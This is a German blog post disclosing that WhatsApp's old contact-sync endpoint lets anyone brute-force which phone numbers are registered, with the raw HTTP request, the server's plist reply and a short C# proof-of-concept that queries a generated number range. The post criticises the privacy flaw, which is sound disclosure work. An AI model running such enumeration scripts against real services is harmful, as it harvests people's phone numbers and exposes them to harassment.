Dieser Artikel ist älter als zwei Jahre und womöglich veraltet!

WhatsApp erlaubt Bruteforce auf Telefonnummern

Eine Telefonnummer möchte man meist gerne für sich behalten, um nicht von Personen belästigt zu werden und einfach seine Ruhe zu haben. Mit der Nutzung der weitverbreiteten WhatsApp-Anwendung auf seinem Mobiltelefon macht man jedoch möglich die Rufnummern der angemeldeten Benutzer zu durchsuchen. In der App wird angezeigt welche seiner Kontakte bereits für WhatsApp registriert sind.

Dazu wird eine Anfrage mit den Telefonnummern seiner Kontakte an den WhatsApp-Server sro.whatsapp.net geschickt:

 1POST /client/iphone/iq.php HTTP/1.1 
 2Host: sro.whatsapp.net 
 3User-Agent: WhatsApp/2.6.7 iPhone_OS/4.3.3 Device/iPhone 
 4Accept: */* 
 5Accept-Language: de-de 
 6Accept-Encoding: gzip, deflate 
 7Content-Type: application/x-www-form-urlencoded 
 8Content-Length: 710 
 9Connection: keep-alive 
10Proxy-Connection: keep-alive 
11
12cd=1&cc=43&me=664XXXXXXX&u[]=0699XXXXXXX&u[]=0680XXXXXXX

Im Body der POST-Anfrage an /client/iphone/iq.php werden die Telefonnummern als Array (?) in der Form des GET-Parameters u[]=XXXXXXXXXXX übermittelt. Der Parameter me muss jedoch nicht angegeben werden. Zudem darf die Anfrage auch über GET erfolgen. Auf die Anfrage antwortet der Server mit dem Status der Teilnehmer im plist-Format:

 1<plist version="1.0">
 2	<array>
 3		<dict>
 4			<key>P</key>
 5			<string>0043664.......</string>
 6			<key>T</key>
 7			<integer>199610</integer>
 8			<key>S</key>
 9			<string>....</string>
10			<key>JID</key>
11			<string>43664.......</string>
12		</dict>
13	</array>
14</plist>

So ist es natürlich auch möglich einen Brute-Force Angriff auf Handynummern zu starten, und das funktioniert auch. Man kann zum Beispiel hundert Nummern generieren lassen, die man dann alle zusammen an den WhatsApp-Server übermittelt. Daraufhin erhält man alle Benutzer in diesem Bereich, die WhatsApp benutzen. Als ein Proof-of-Concept habe ich ein kleines Programm in C# zusammengestöpselt, das Telefonnummern aus einem bestimmten Bereich generiert und diese anschließ;end an den passenden WhatsApp-Server schickt. Anschließ;end wird der Inhalt der plist-Datei in der Konsole ausgegeben.

 1using System; 
 2using System.Collections.Generic; 
 3using System.Linq; 
 4using System.Text; 
 5using System.Net; 
 6
 7namespace WhatsAppBrute{
 8	class Program{
 9		static void Main(string[] args){
10			WebClient c = new WebClient(); 
11			String start = "https://sro.whatsapp.net/client/iphone/iq.php?cd=1&amp;cc=43" 
12			
13			for (Int32 i = 0; i &lt; 100; i++){
14				String count; 
15				
16				if(i < 10){
17					count = "0" + i.ToString(); 
18				} 
19				else { 
20					count = i.ToString(); 
21				} 
22				
23				start += "&u[]=0664XXXXX" + count; 
24			} 
25			
26			Console.WriteLine(c.DownloadString(start)); 
27			Console.ReadLine(); 
28		}
29	} 
30}

Dieser Code dient nur zu Vorführzwecken und darf nicht für einen Angriff auf die Server von WhatsApp verwendet werden!

Fazit: Es ist erschreckend wie einfach eine solche Anfrage ausgeführt werden kann und wie freizügig mit den Telefonnummern umgegangen wird. Natürlich wird nicht jeder Benutzer eine so umständliche Art benutzen (wollen), aber es ist möglich.

Weitere Artikel

1,2 Milliarden Passwörter gestohlen, oder nicht?

Vermutlich haben Sie es schon gehört: Russische Hacker sollen 1,2 Milliarden Zugangsdaten gestohlen haben. Das behauptet zumindest eine Sicherheitsfirma namens Hold Security. Auch große Portale seien betroffen. Ein weiteres dummes Symbolbild Die Medien sind sich nicht einig, ob es sich um …

Johannes Mittendorfer
Johannes Mittendorfer

Das WhatsApp-Registrierungsprotokoll

Da ich aus den Suchanfragen die auf meiner Homepage landen schließe, dass hier Interesse besteht, möchte ich hiermit nocheinmal kurz den Registrierungsvorgang bei WhatsApp mit den dafür verwendeten REST Urls beschreiben. Überprüfen, ob schon registriert Beim Starten der App und nach der Eingabe der …

Johannes Mittendorfer
Johannes Mittendorfer